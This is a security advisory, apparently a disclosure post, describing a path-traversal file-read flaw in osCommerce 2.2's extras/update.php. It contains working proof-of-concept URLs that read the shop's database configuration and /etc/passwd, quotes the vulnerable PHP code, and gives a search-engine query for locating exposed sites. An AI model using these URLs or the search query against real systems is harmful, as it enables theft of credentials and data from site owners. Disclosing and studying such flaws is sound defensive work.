osCommerce "extras/" information/source code disclosure

[rgod@xxxxxxxxxxxxx]

---- osCommerce <= 2.2 "extras/" information/source code disclosure ------------

software site: http://www.oscommerce.com/


if extras/ folder is placed inside the www path, you can see all files on target
system, including php source code with database details, poc:

http://[target]/[path]/extras/update.php?read_me=0&readme_file=../catalog/includes/configure.php
http://[target]/[path]/extras/update.php?read_me=0&readme_file=/etc/passwd

this is the vulnerable code in update.php:

...
        include '../mysql.php';
        // if a readme.txt file exists, display it to the user
        if(!$read_me) {
                if(file_exists('readme.txt')) {
                        $readme_file = 'readme.txt';
                }
                elseif(file_exists('README')) {
                        $readme_file = 'README';
                }
                elseif(file_exists('readme')) {
                        $readme_file = 'readme';
                }
                if($readme_file) {
                        $readme = file($readme_file);
                        print "<CENTER><TABLE BORDER=\"1\" WIDTH=\"75%\" 
CELLPADDING=\"2\" CELLSPACING=\"0\"><TR BGCOLOR=\"#e7e7cc\"><TD>\n";
                        print nl2br(htmlentities(implode($readme, ' ')));
                        print "<HR NOSHADE SIZE=\"1\"><CENTER><A 
HREF=\"update.php?read_me=1\"><B>Continue</B></A></CENTER>\n";
                        print "</TD></TR></TABLE>\n";
                        exit;
                }
        }
...

google search:

inurl:"extras/update.php" intext:mysql.php -display

--------------------------------------------------------------------------------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici.org
original advisory: http://retrogod.altervista.org/oscommerce_22_adv.html
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